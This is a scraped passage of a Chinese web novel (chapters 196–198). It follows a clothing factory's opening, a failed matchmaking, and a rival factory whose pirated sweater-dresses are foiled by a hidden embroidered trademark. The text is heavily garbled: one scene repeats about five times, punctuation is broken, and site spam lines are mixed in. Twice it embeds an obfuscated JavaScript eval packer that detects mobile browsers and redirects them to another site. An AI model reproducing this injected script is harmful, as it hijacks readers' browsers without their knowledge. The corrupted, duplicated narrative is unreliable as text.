沈淮川和周柒柒立刻下车帮忙。 沈淮川力气大一手就拎起最重的两个大包袱塞进后备箱。 周柒柒也帮着提了两个轻些的。 两人配合默契动作利落。 这时候日头刚爬上来家属院门口已经聚了七八个军嫂都拎着东西等采购车。 见沈淮川两口子这么默契有个梳着齐耳短发的军嫂先开了口。 “瞅瞅沈团长跟周柒柒真是天生一对你看那动作多顺溜!” 旁边挎着竹篮的军嫂赶紧接话。 “就是周柒柒平时就穿得好看今天这身好家伙跟画报上的电影明星似的!” “沈团长也是啊真精神!还这么疼媳妇弄车送媳妇去城里还知道帮忙提东西.” “人家这才叫过日子呢!” 赞美声清晰地飘进耳朵。 周柒柒有些不好一丝地抿嘴笑了笑。 沈淮川则神情自若只是关后备箱时手臂很自然地虚揽了一下周柒柒的腰将她往身边带了带隔绝了那些军嫂的目光。 “哼有啥了不起的!” 人群后头突然冒出来一句酸溜溜的话。 “穿得花里胡哨的跟狐狸精似的车还是公家的有啥可显摆的!” 说话的是林瑶她也拎着个布包站在边上眼睛死死盯着那辆吉普车指甲都快嵌进布包里了。 看着周柒柒被沈淮川护着听着周围人一句句夸赞她心里跟塞了团烂棉絮似的又闷又堵酸水直往嗓子眼冒。 这话不大不小刚好被离得近的两个军嫂听见了。 先前牙疼的那个军嫂“嗤”了一声翻着白眼道。 “人家沈团长是啥级别?配车是组织上的安排给媳妇买件新衣裳咋了?有本事你也找个团长去没那能耐就少嚼舌根!” “你以为我找不到?他沈淮川本来就是我不要的!” 林瑶气得脸都红了往前冲了半步就要理论胳膊却被旁边的许树拽住了。 第196章 剪彩 “瑶瑶,别冲动。 许树把她往回拉了拉,声音压得低低的,手还轻轻拍着她的后背。 “你忘了上次的事了?再闹起来,工作可就真保不住了。 见林瑶气鼓鼓地不说话,他又凑到她耳边哄。 “你再等等,再等等,我这不就要去花城做生意了吗,等我赚了大钱回来,给你买更好看的裙子!再给咱家买辆小汽车!让她们羡慕你去! 林瑶这才消了气,嘴角慢慢翘起来,往许树怀里靠了靠,声音也软了:“许树哥,你可说话算数。 许树拍着胸脯保证:“那当然,我啥时候骗过你。 话刚说完,院门口就传来“突突突的引擎声,采购车灰扑扑的车头已经探了进来。 林瑶在军属区的名声早就臭了,前阵子闹的那些事还没过去,谁见了她都绕着走。 她和许树在后头说话。 车上靠前的好位置很快被相熟的军嫂们占满了,挤挤搡搡的没了空位。 她跟许树没办法,只好挪到车尾最后。 那位置颠簸的厉害,又漏风,实在是最差的去处。 林瑶从小娇生惯养的,啥时候坐过这种车啊? 可自从和许树在一起之后,啥苦都吃上了。 她往椅背上一靠,嘴角撇了撇,眼里满是不自在,却也只能认命地扯了扯衣角。 而周柒柒那边,军用的吉普车宽敞得很,座位也舒服,一行人说说笑笑,很快就到了城里。 第一服装厂门口热闹得跟过年似的,红绸扎的彩旗顺着院墙根插了一溜,风一吹哗啦啦响。 旁边还有锣鼓队正敲得震天响,镲子“哐哐的动静能传到半条街外。 一条崭新的红地毯打厂门口直铺到里头车间门口,绒面厚实,踩上去软乎乎的,在太阳底下亮得晃眼。 这可是本市轻工业改革头一个项目。 加上跟花城那边合作的头批订单顺顺当当交了货,名气早就传开了。 今儿个的开工剪彩仪式,不光厂里的职工,连不少看热闹的街坊都围在门口,伸长了脖子往里瞅。 军用吉普稳稳当当停在厂门口的空地上,车门打开,沈淮川先下了车,转身伸手扶里头的人。 身着墨 绿色新中式礼服的周柒柒在沈淮川的护持下优雅下车时,瞬间成为了全场的焦点。 阳光洒在她身上,真丝面料流淌着温润的光泽,那恰到好处的剪裁将她曼妙的身姿衬得无与伦比。 露出的锁骨线条精致,气质从容自信,既有东方古典的韵味,又不失现代女性的干练,美得令人屏息。 早一步到场的**办公室副主任,还有轻工业局的一位科长,本来正在和张国强等人寒暄。 眼瞅着周柒柒走过来,几个男人都愣了一下,眼里的惊艳藏都藏不住。 特别是那个年轻点的王科长,脸“腾得红了,手不自觉地拽了拽脖子上的领带,脸上堆起笑,脚底下已经动了,想上前搭句话。 然而,他刚迈出一步,一道人高马大的身影便不动声色地挡在了周柒柒身前半步的位置。 沈淮川面容冷峻,身姿笔挺如松,深灰色的西装衬得他气场强大。 他看似随意地伸出手臂,极其自然地环住了周柒柒纤细却柔韧的腰肢,将她往自己身边带了带。 这时,张国强也走过来了,笑呵呵地介绍道。 “沈团长,周师傅,可算来了!给你们引见引见,这位是轻工业局的王科长。 又转头对王科长说。 “王科长,这位就是周柒柒同志,旁边那个是咱们军区的战斗英雄沈淮川,沈团长。 沈淮川微微侧头,深邃的目光平静地迎向那位科长,带着军人特有的锐利和不容置疑的疏离感。 他轻轻点了点头,声音不高不低:“王科长,幸会。 他顿了顿,又补充道,“我是周同志的爱人,沈淮川。 那声音低沉有力,还带着一点杀伐果决的气质,瞬间就浇灭了对方所有搭讪的心思。 王科长被他看得心头一凛,脸上的笑容僵了一下,连忙也点头回礼。 “沈团长,幸会幸会! 目光再不敢再周柒柒身上过多停留。 周柒柒感受到腰间传来的温热和力量,心里甜丝丝的,面上却保持着得体的微笑,向各位领导问好。 除了领导和厂里的人,李萍今儿也关了半天空门,特意带着赵大梅来看热闹。 毕竟她也算是第一服装厂的合作方了。 李萍看着周柒柒的礼服,啧啧称赞,“我的乖乖,这可真美!咋看咋好看! 赵大梅也真心实意地笑着点头,眼里满是欣赏和替周柒柒高兴的神采。 剪彩仪式没搞那些虚头巴脑的,这年头提倡节俭,简单却也热闹。 红绸子一剪,“咔嚓 车间里的机器声轰隆隆的,透着股子红火劲儿,这就算是宣告第一服装厂,也是周柒柒的事业,正式开了个好头。 中午饭是张国强安排的,就在厂里食堂的小包间里,摆了两桌。 大师傅拿出了看家本事,红烧肉炖的油光锃亮,鸡蛋羹滑嫩得能晃悠,还有炒得翠绿的青菜,丰富又实惠。 正吃着饭呢,包间门被轻轻推开条缝,三个小脑袋瓜探了进来,是张国强家的三个孩子。 大的是男孩,十二岁光景,身板抽条了,看着挺精神; 后面跟着俩双胞胎妹妹,才八岁,梳着一样的小辫子,怯生生的却又好奇。 孩子们早听说赵大梅也来了,在外面磨着奶奶好半天,才获准找过来。 “赵阿姨! 大男孩眼尖,一眼就瞅见了赵大梅,喊了一声就从门缝里挤进来,噔噔噔跑到她跟前。 俩妹妹也跟着跑过去,一左一右挨着她的胳膊,小脸蛋贴上来,亲昵得不行。 这仨孩子跟赵大梅亲得很,那股子亲近和信赖,明眼人都看得出来。 自从上次赵大梅救了差点出事的他们,每次赵大梅去卖花,都要绕到他们家看看,给带块糖或者核桃、栗子什么的。 一来二去的,感情早就深了。 赵大梅看见孩子们,脸上的笑容一下子就暖了,那股子从心底里涌出来的喜爱和疼惜,挡都挡不住。 她赶紧放下手里的碗筷,蹲下身,手轻轻摸着孩子们的头,声音柔得能滴出水来。 “吃过饭了没?饿不饿? “奶奶煮饭了,我们吃得可快了! “吃完就来找你了! 孩子们叽叽喳喳地跟她说着话,包间里的气氛顿时温馨了起来。 不过孩子们下午还得上学,在这儿跟赵大梅腻歪了会儿,又被塞了两块水果糖,就赶紧走了 。 吃完饭,人渐渐都散了。 周柒柒和李萍姐交换了一个眼神。 两人把赵大梅拉到了一边,说是闲聊,实际上是把张国强这些年的经历都给说了一遍。 李萍是个直性子,说完就开门见山。 “大梅妹子,你跟姐说句实话,你看张厂长这人,咋样?” 周柒柒也跟着轻声说,语气真诚得很。 “是啊大梅姐,张厂长是个靠得住的男人,对孩子上心,对厂子也负责。” 她顿了顿,看着赵大梅低垂的侧脸。 “你还年轻,以后的路还长,如果觉得还可以,不妨考虑一下?孩子们也这么喜欢你。” 赵大梅沉默着,手指无意识摩挲着衣角。 其实她对张国强的第一印象差到了极点。 上次他喝醉了酒,把三个孩子独自丢在家里,差点出了大事。 就因为这个,她后来每次去卖花,都要特意绕到孩子们家转一圈,看看他们吃没吃饭,作业写没写。 跟孩子们处得久了,听他们念叨的多了,才知道张国强不是不负责任。 恰恰相反,他是太有责任心了。 肩上扛着整个厂子几百号人的生计,白天在厂里忙得脚不沾地,晚上还得琢磨技术革新,常常熬到后半夜。 实在是顾不上家,才让孩子们常独自在家。 她抬起头,目光飞快扫了一眼正在和人说话的张国强。 中年男人的侧脸轮廓显得很认真,带着点局促,却又努力维持着厂长的稳重。 她想起他偷偷看自己的眼神,想起他笨拙的关心,想起他做菜的手艺 心里头,确实像被石子儿砸了一下,泛起过一丝细细的涟漪。 可是那点涟漪,很快就被更深沉的东西压下去了。 她脸上的红晕慢慢褪去,眼神变得复杂,像蒙了层雾,最后又一点点沉淀下来,成了一种平静的坚定。 她轻轻摇了摇头,轻声说道。 “萍姐,柒柒,谢谢你们为**心,张厂长他是个好人,但是.算了。” 她没有解释原因,只是再次摇了摇头,然后就低下头不再说话了。 周柒柒和李萍对视一眼,都从对方眼里看到了无奈,还有一丝不解。 但这种事儿,终究是强求不来的。 周柒柒轻轻叹了口气,拍了拍赵大梅的胳膊。 这事儿啊,归根到底,还得看张国强自己能不能拿出诚意,慢慢打动她的心了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。 吃完饭,人渐渐都散了。 周柒柒和李萍姐交换了一个眼神。 两人把赵大梅拉到了一边,说是闲聊,实际上是把张国强这些年的经历都给说了一遍。 李萍是个直性子,说完就开门见山。 “大梅妹子,你跟姐说句实话,你看张厂长这人,咋样? 周柒柒也跟着轻声说,语气真诚得很。 “是啊大梅姐,张厂长是个靠得住的男人,对孩子上心,对厂子也负责。 她顿了顿,看着赵大梅低垂的侧脸。 “你还年轻,以后的路还长,如果觉得还可以,不妨考虑一下?孩子们也这么喜欢你。 赵大梅沉默着,手指无意识摩挲着衣角。 其实她对张国强的第一印象差到了极点。 上次他喝醉了酒,把三个孩子独自丢在家里,差点出了大事。 就因为这个,她后来每次去卖花,都要特意绕到孩子们家转一圈,看看他们吃没吃饭,作业写没写。 跟孩子们处得久了,听他们念叨的多了,才知道张国强不是不负责任。 恰恰相反,他是太有责任心了。 肩上扛着整个厂子几百号人的生计,白天在厂里忙得脚不沾地,晚上还得琢磨技术革新,常常熬到后半夜。 实在是顾不上家,才让孩子们常独自在家。 她抬起头,目光飞快扫了一眼正在和人说话的张国强。 中年男人的侧脸轮廓显得很认真,带着点局促,却又努力维持着厂长的稳重。 她想起他偷偷看自己的眼神,想起他笨拙的关心,想起他做菜的手艺 心里头,确实像被石子儿砸了一下,泛起过一丝细细的涟漪。 可是那点涟漪,很快就被更深沉的东西压下去了。 她脸上的红晕慢慢褪去,眼神变得复杂,像蒙了层雾,最后又一点点沉淀下来,成了一种平静的坚定。 她轻轻摇了摇头,轻声说道。 “萍姐,柒柒,谢谢你们为**心,张厂长他是个好人,但是.算了。 她没有解释原因,只是再次摇了摇头,然后就低下头不再说话了。 周柒柒和李萍对视一眼,都从对方眼里看到了无奈,还有一丝不解。 但这种事儿,终究是强求不来的。 周柒柒轻轻叹了口气,拍了拍赵大梅的胳膊。 这事儿啊,归根到底,还得看张国强自己能不能拿出诚意,慢慢打动她的心了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。 吃完饭人渐渐都散了。 周柒柒和李萍姐交换了一个眼神。 两人把赵大梅拉到了一边说是闲聊实际上是把张国强这些年的经历都给说了一遍。 李萍是个直性子说完就开门见山。 “大梅妹子你跟姐说句实话你看张厂长这人咋样?” 周柒柒也跟着轻声说语气真诚得很。 “是啊大梅姐张厂长是个靠得住的男人对孩子上心对厂子也负责。” 她顿了顿看着赵大梅低垂的侧脸。 “你还年轻以后的路还长如果觉得还可以不妨考虑一下?孩子们也这么喜欢你。” 赵大梅沉默着手指无意识摩挲着衣角。 其实她对张国强的第一印象差到了极点。 上次他喝醉了酒把三个孩子独自丢在家里差点出了大事。 就因为这个她后来每次去卖花都要特意绕到孩子们家转一圈看看他们吃没吃饭作业写没写。 跟孩子们处得久了听他们念叨的多了才知道张国强不是不负责任。 恰恰相反他是太有责任心了。 肩上扛着整个厂子几百号人的生计白天在厂里忙得脚不沾地晚上还得琢磨技术革新常常熬到后半夜。 实在是顾不上家才让孩子们常独自在家。 她抬起头目光飞快扫了一眼正在和人说话的张国强。 中年男人的侧脸轮廓显得很认真带着点局促却又努力维持着厂长的稳重。 她想起他偷偷看自己的眼神想起他笨拙的关心想起他做菜的手艺 心里头确实像被石子儿砸了一下泛起过一丝细细的涟漪。 可是那点涟漪很快就被更深沉的东西压下去了。 她脸上的红晕慢慢褪去眼神变得复杂像蒙了层雾 她轻轻摇了摇头轻声说道。 “萍姐柒柒谢谢你们为**心张厂长他是个好人但是.算了。” 她没有解释原因只是再次摇了摇头然后就低下头不再说话了。 周柒柒和李萍对视一眼都从对方眼里看到了无奈还有一丝不解。 但这种事儿终究是强求不来的。 周柒柒轻轻叹了口气拍了拍赵大梅的胳膊。 这事儿啊归根到底还得看张国强自己能不能拿出诚意慢慢打动她的心了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 吃完饭,人渐渐都散了。 周柒柒和李萍姐交换了一个眼神。 两人把赵大梅拉到了一边,说是闲聊,实际上是把张国强这些年的经历都给说了一遍。 李萍是个直性子,说完就开门见山。 “大梅妹子,你跟姐说句实话,你看张厂长这人,咋样?” 周柒柒也跟着轻声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952552|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气真诚得很。 “是啊大梅姐,张厂长是个靠得住的男人,对孩子上心,对厂子也负责。” 她顿了顿,看着赵大梅低垂的侧脸。 “你还年轻,以后的路还长,如果觉得还可以,不妨考虑一下?孩子们也这么喜欢你。” 赵大梅沉默着,手指无意识摩挲着衣角。 其实她对张国强的第一印象差到了极点。 上次他喝醉了酒,把三个孩子独自丢在家里,差点出了大事。 就因为这个,她后来每次去卖花,都要特意绕到孩子们家转一圈,看看他们吃没吃饭,作业写没写。 跟孩子们处得久了,听他们念叨的多了,才知道张国强不是不负责任。 恰恰相反,他是太有责任心了。 肩上扛着整个厂子几百号人的生计,白天在厂里忙得脚不沾地,晚上还得琢磨技术革新,常常熬到后半夜。 实在是顾不上家,才让孩子们常独自在家。 她抬起头,目光飞快扫了一眼正在和人说话的张国强。 中年男人的侧脸轮廓显得很认真,带着点局促,却又努力维持着厂长的稳重。 她想起他偷偷看自己的眼神,想起他笨拙的关心,想起他做菜的手艺 心里头,确实像被石子儿砸了一下,泛起过一丝细细的涟漪。 可是那点涟漪,很快就被更深沉的东西压下去了。 她脸上的红晕慢慢褪去,眼神变得复杂,像蒙了层雾,最后又一点点沉淀下来,成了一种平静的坚定。 她轻轻摇了摇头,轻声说道。 “萍姐,柒柒,谢谢你们为**心,张厂长他是个好人,但是.算了。” 她没有解释原因,只是再次摇了摇头,然后就低下头不再说话了。 周柒柒和李萍对视一眼,都从对方眼里看到了无奈,还有一丝不解。 但这种事儿,终究是强求不来的。 周柒柒轻轻叹了口气,拍了拍赵大梅的胳膊。 这事儿啊,归根到底,还得看张国强自己能不能拿出诚意,慢慢打动她的心了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 吃完饭,人渐渐都散了。 周柒柒和李萍姐交换了一个眼神。 两人把赵大梅拉到了一边,说是闲聊,实际上是把张国强这些年的经历都给说了一遍。 李萍是个直性子,说完就开门见山。 “大梅妹子,你跟姐说句实话,你看张厂长这人,咋样? 周柒柒也跟着轻声说,语气真诚得很。 “是啊大梅姐,张厂长是个靠得住的男人,对孩子上心,对厂子也负责。 她顿了顿,看着赵大梅低垂的侧脸。 “你还年轻,以后的路还长,如果觉得还可以,不妨考虑一下?孩子们也这么喜欢你。 赵大梅沉默着,手指无意识摩挲着衣角。 其实她对张国强的第一印象差到了极点。 上次他喝醉了酒,把三个孩子独自丢在家里,差点出了大事。 就因为这个,她后来每次去卖花,都要特意绕到孩子们家转一圈,看看他们吃没吃饭,作业写没写。 跟孩子们处得久了,听他们念叨的多了,才知道张国强不是不负责任。 恰恰相反,他是太有责任心了。 肩上扛着整个厂子几百号人的生计,白天在厂里忙得脚不沾地,晚上还得琢磨技术革新,常常熬到后半夜。 实在是顾不上家,才让孩子们常独自在家。 她抬起头,目光飞快扫了一眼正在和人说话的张国强。 中年男人的侧脸轮廓显得很认真,带着点局促,却又努力维持着厂长的稳重。 她想起他偷偷看自己的眼神,想起他笨拙的关心,想起他做菜的手艺 心里头,确实像被石子儿砸了一下,泛起过一丝细细的涟漪。 可是那点涟漪,很快就被更深沉的东西压下去了。 她脸上的红晕慢慢褪去,眼神变得复杂,像蒙了层雾,最后又一点点沉淀下来,成了一种平静的坚定。 她轻轻摇了摇头,轻声说道。 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这事儿啊,归根到底,还得看张国强自己能不能拿出诚意,慢慢打动她的心了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第197章 毛衣裙旋风 生产线一开动起来,机器的轰鸣声就没歇过,连带着车间里的灯泡,都亮了整宿。 头一批羊毛混纺的毛衣裙,打包装进印着“第一服装厂”字样的纸箱里,被卡车运到花城服装批发市场。 没过两天,这些箱子就像长了翅膀似的,跟着南来北往的货车、绿皮火车,散到了全国各地的供销社和百货柜台。 如同滚入滚油的水滴,瞬间炸开了锅。 那会儿的姑娘们穿衣服,款式还都简单得很,也没那么显身材。 可拆卸袖套带来的多变风格在当时可谓是设计十分新颖。 再加上第一服装厂的老规矩,用料实诚,针脚密得能数清,腰身收得恰到好处,不松垮也不勒得慌,把姑娘们的曲线衬得既大方又好看。 那点儿手腕和脖颈的露肤,带着点小心思的性感,不多不少,正好挠在人心尖上,谁看了都觉得舒坦。 追求时髦的年轻媳妇、上班爱俏的女工,瞧见这毛衣裙眼睛都直了。 这心思,算是被第一服装厂摸得透透的。 花城那边捎回来的信,让厂里的人都惊得张大了嘴。 会计小李接电话的时候,手都在抖,念出来的话能把人耳朵震聋。 “才两天!就两天!头批那五千件毛衣裙,一件都没剩!” 更邪乎的是价钱。 最开始批发给人家是十二块,没过一天就涨到十三,第二天一早又蹿到十五。 等传到零售柜台,直接飙到二十五块! 要知道那年代,青工一个月工资也就三十出头,二十五块钱,够普通人家买半袋面粉、两斤肉,再给孩子扯块布做身新衣裳,紧巴巴能过小半个月。 就这,还有大把姑娘攥着钱排大队,柜台都快被挤塌了。 这阵“毛衣裙旋风”以惊人的速度席卷开来。 各地的批发商、百货大楼的采购员,像是嗅到血腥味的鲨鱼,闻风而动。 第一服装厂销售部那部原先十分清闲的电话,骤然变成了热线,从早到晚响个不停。 电报也如雪片般飞来,内容高度一致:要货!加急!越多越好! 张国强的办公室也几乎被踏破了门槛。 那些曾经对第一服装厂爱答不理的采购主任 们此刻脸上堆满了前所未有的热情笑容递烟的递烟说好话的说好话。 目的只有一个——拿到那款爆火的毛衣裙而且最好是立刻马上! 看着眼前一张张谄媚急切的脸张国强心中百感交集但更多的是扬眉吐气的痛快! 他努力维持着厂长的稳重但眼底的笑意和微微扬起的下巴还是泄露了他此刻的心情。 这天下午一个略显臃肿的身影挤进了张国强的办公室脸上带着极其不自然的笑容手中还拎着两盒一看就不便宜的糕点。 “张张厂长!忙着呢!” 来人正是花城那边第二大的批发商王大海。 张国强抬眼一看眼神瞬间就冷了下来。 这个人他太“熟悉”了。 半年前第一服装厂快撑不下去的时候工资都发不出来全靠着之前签的几份采购合同吊着口气。 那时候自主经营的政策刚下来厂里为了拉生意合同签的价都低。 王大海就是其中一个最大的买家他的价格也是最低的。 可就在厂里最难的时候王大海突然变卦说不要货了一分钱补偿也没给差点把厂子逼上绝路。 他在花城有人脉张国强那会儿连找他理论的功夫都没有只能眼睁睁看着合同成了废纸。 而在前段时间库存改造的时候张国强也去过王大海那儿。 当时王大海是怎么做的? 他连张国强带来的衣服都没仔细看就翘着二郎腿鼻孔朝天用极其轻蔑的语气说。 “老张啊不是我不帮你你们厂这衣服送给我当抹布我都嫌掉价!现在谁还穿这个?赶紧拉回去吧别占我这地方!” 更过分的是他还当众拿出之前的签订的供货意向书当着张国强的面“刺啦”几声撕得粉碎 还拿着扫帚连纸屑带张国强一起往外扫。 那份**张国强至今记忆犹新。 “哟王老板?稀客啊!” 张国强放下笔身体往后靠在椅背上语气平淡听不出喜怒。 “什么风把您吹到我们这小破厂来了?” 王大海脸上的笑容更僵了额角渗出细汗。 他搓着手把糕点放在桌上“张厂长您看您这话说.” “这不听说贵厂新出的那款毛衣裙卖得特别火嘛?我这作为花城数一数二的批发商怎么能没有这种紧俏货呢?您看能不能优先给我们共一批?价钱好商量!” “优先?” 张国强手指轻轻敲着桌面 “王老板你怕是忘了?半年前还有一个多月前你是怎么说的?说我们厂的衣服一文不值 说着他目光锐利地直视着王大海笑道。 “怎么着?这才多久就又不清了?” 王大海的脸“唰”地一下白了冷汗涔涔而下。 他没想到张国强记得这么清楚还当面点破。 “张厂长!张哥!那.那都是误会!是我有眼不识泰山!是我狗眼看人低!” 王大海也顾不上面子了连胜告饶姿态放低极低。 “您大人有大量别跟我一般见识!现在这市场就认您厂里的货!您帮帮忙拉兄弟一把!我保证以后我就是贵厂最铁的合作伙伴!一切都好说!” 他心里跟明镜似的这第一服装厂算是遇上贵人了有这么厉害的设计师以后在华国的服装业肯定能占不小的分量。 这毛衣裙还只是个开头往后肯定还有更多爆款。 他必须得想办法攀上这棵“摇钱树”不然以后在花城的生意就没法做了。 看着昔日趾高气扬的王大海在自己面前点头哈腰张国强心中那股憋了半年的郁气终于畅快地吐了出来。 “王老板。” 张国强站起身语气平静。 “货现在各厂都在要我们厂是按照先后顺序和合同条款公平安排的您要货可以去销售科登记排队至于.能不能优先.” 他拿起桌上的生产排期表晃了晃上面密密麻麻全都是订单。 “那得看排在你前头的几十位答应不答应。我们是国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959864|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营厂得讲规矩不能乱来。” 王大海一看就明白了这是没他的份了。 等排到他毛衣裙都该过季了谁还穿? 脸上红一阵白一阵连一句完整的话都说不出来最后只能灰溜溜地拿着糕点离 开。 憋着一肚子火气和挫败感,王大海垂头丧气地走出第一服装厂的大门,心里把张国强和周柒柒骂了无数遍。 刚拐过厂区围墙的拐角,差点跟一个人撞个满怀。 “哎哟!谁啊走路不长眼……” 王大海没好气地抬头,看清来人后,脸上挤出一个皮笑肉不笑的表情, “哟,丘厂长?您这是……也来拜山头了?” 来人正是第三服装厂的厂长丘奉贤。 他此刻的脸色比王大海也好不到哪里去,那张平日里总是端着架子的脸,这会儿阴沉得能拧出水来。 眼白里布满红血丝,眼神里充满了不甘和怨毒。 第一服装厂门口的热闹红火,像针一样扎着他的眼睛。 “拜山头?哼!” 丘奉贤冷哼一声,语气酸溜溜的, “我丘奉贤还不至于来舔他张国强的鞋底!我就是来看看热闹而已” 王大海一听这话,立刻嗅到了同病相怜的味道。 他眼珠一转,凑近了些,压低声音道。 “丘厂长,您说这事儿闹的!当初要不是张国强横插一杠子,这摇钱树本该是您第三服装厂的啊!我可是听说那个周柒柒,一开始找的可是您厂子!” 这话精准地戳中了丘奉贤的痛处。 “哼,小人得志罢了!” 丘奉贤恨恨的道,全然忘了自己当初的嘴脸,不仅态度傲慢,在分成上更是寸步不让,觉得一个小丫头片子能翻起什么浪? 结果呢?张国强转头就来把人给签走了! 他梗着脖子嘴硬道。 “张国强那是瞎猫碰上死耗子!要不是他死皮赖脸缠着周柒柒,还开出那么离谱的条件,现在风光的就是我!呸!我看他才是走了狗屎运!” 王大海撇了撇嘴。 “狗屎运也是运啊!你是没瞅见,张厂长手里的订单,那可是跟雪花片子一样,简直是‘破天的富贵’啊,我看,这第一服装厂,未来可是要发达咯!” 丘奉贤眼中嫉妒的火苗烧得更旺了。 他咬了咬牙,忽然一把拉住王大海的胳膊。 “王老板,别丧气!他第一服装厂不就是靠着那款毛衣裙吗?真以为是什么了不得的玩意儿?” 王大海一愣:“丘厂长,您这话……什么意思?” 丘奉贤左右看了看,见四下无人,脸上露出一丝得意又阴险的笑容,低声道。 “跟我来!让你开开眼!” 丘奉贤直接把王大海拉回了第三服装厂。 一进厂区,与第一服装厂热火朝天的景象截然不同,这里显得有些冷清,只有几个车间传出不算密集的机器声。 丘奉贤径直把王大海带到了他的办公室,然后神秘兮兮地从抽屉里拿出几张图纸,啪的一声拍在桌上。 “王老板,看看!这是什么?” 第198章 聪明反被聪明误 王大海凑过去一看,眼睛顿时瞪大了! 那图纸上画的,赫然就是第一服装厂那款爆火的毛衣裙! 版型、细节,几乎一模一样! “这……这……” 王大海震惊得说不出话。 丘奉贤得意地扬起下巴,压低声音,带着一种“你懂的”的炫耀。 “怎么样?没什么大不了的!我们厂的技术员早就把它复刻出来了!一模一样!” 他指了指窗外一个亮着灯的车间, “看见没?那个车间,从知道他们那玩意儿火了开始,我就让人日夜不停地赶!现在仓库里,已经堆了好几千件成品了!工人还在加班加点地干!要多少有多少!” 他拍了拍王大海的肩膀,一副“哥罩着你”的架势。 “王老板,咱们是老交情了!你想要货,何必去第一服装厂受那个鸟气?来我这儿!价格绝对比张国强给你的批发价优惠得多!量大从优!” 王大海看着图纸,又看看丘奉贤那张充满算计和得意的脸,刚才在第一服装厂受的气仿佛找到了一个发泄口。 他脸上也露出了笑容,但笑容里却带着浓浓的嘲讽和不以为然。 “丘厂长,” 王大海拖长了调子,慢悠悠地说, “您这……胆子可真不小啊!国营厂之间,不是明令禁止互相抄袭版型的吗?您这可是顶风作案啊!” 丘奉贤脸上的得意僵了一下,随即摆摆手,一副“你太天真”的表情。 “嗐!规矩是死的,人是活的!怕什么?这市场上货来货往的,鱼龙混杂!我这里的货,又没挂他第一服装厂的标!谁知道是我丘奉贤生产的?再说了,咱们第三服装厂这些年,能安安稳稳发展到现在,不像第一服装厂之前那样差点关门大吉,靠的不就是……” 他嘿嘿笑了两声,没明说,但意思不言而喻。 “识时务者为俊杰嘛!他张国强就是死脑筋!” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 丘奉贤越说越得意,仿佛已经看到自己仓库的货被抢购一空,钞票滚滚而来的场景。 然而,王大海脸上的嘲讽却越来越浓。 他嗤笑一声,那笑声像冰水一样浇在了丘奉贤发热的头脑上。 “丘厂长啊丘厂长,” 王大海摇着头语气充满了幸灾乐祸和看**的意味 “您这次可真是打错了算盘聪明反被聪明误了!” 丘奉贤愣住了:“你……你什么意思?” “什么意思?” 王大海冷笑一声从裤子里拿出烟盒拿出一根烟叼在嘴里却没点燃。 “实话告诉您吧!花城那边的‘老师傅’们手脚可比您快多了!第一服装厂的货一到花城当天晚上就有作坊开始仿了!效率比您这儿高!” 丘奉贤脸色一变:“那……那他们……” “他们?” 王大海打断他声音带着一丝残酷的戏谑 “他们现在正对着仓库里堆成山的仿货哭呢!知道为什么吗?” 他凑近丘奉贤一字一句地说道。 “因为人家周柒柒早防着这一手呢!她在那毛衣裙正版的毛衣裙在袖套与裙身的连接处内侧以及裙摆侧缝开衩上方一寸左右的位置 王大海在自己衣服上比画了一下 “都用同色系但更精致的丝线手工绣着一个独特的艺术化“柒”字!那是她的专属商标!不知道用了什么技法双面都有字根本仿不了!” 丘奉贤如遭雷击猛地抓起桌上的图纸疯狂地翻找细节部位图纸上根本没有标注这个! “不可能!我……我们复刻的时候没看到……” 丘奉贤的声音开始发抖。 “废话!” 王大海毫不留情地戳破 “那商标绣得巧妙跟装饰线融为一体不仔细找根本发现不了!而且关键是现在买这裙子的姑娘们都认这个‘柒’字标!” “花城那边传回来的消息没这个标的仿货用料再好、做得再像人家一眼就看出是假的!连问都不问扭头就走!花城那些仿得快的现在都砸手里了赔的裤子都快没了!” 他鄙夷地看了一眼丘奉贤桌上那堆图纸和窗外还在生产的车间: “您这儿?用料估计比花城那些小作坊还差吧?版型复刻得再像没那个‘柒’字那就是一堆没人要的垃圾!还想卖出去?做梦吧!” 王大海说完像是看了一场极其滑稽的闹剧嗤笑着摇摇头转身就走连看都 没再看丘奉贤一眼,更别提要他那仓库里的“垃圾”了。 “王老板!等等!王……” 丘奉贤下意识想追,但双腿却像灌了铅一样沉重。 王大海的话如同重锤,狠狠砸在他的心上。 “柒……字标……” 丘奉贤失魂落魄地跌坐在椅子上,脸色惨白如纸。 他猛地想起什么,疯了一样冲出办公室,冲向那个还在轰鸣的生产车间。 “停下!都给我停下!别做了!停下!” 丘奉贤冲进车间,嘶声力竭地大吼。 工人们被吓了一跳,机器声渐渐停歇下来。 丘奉贤又跌跌撞撞地冲向仓库。 当他推开仓库大门,看到里面堆积如山的、没有那个关键“柒”字商标的毛衣裙时,眼前一黑,差点晕过去。 几千件! 而且生产线还在源源不断地生产! 这些……这些全是成本!全是积压!全是废品! 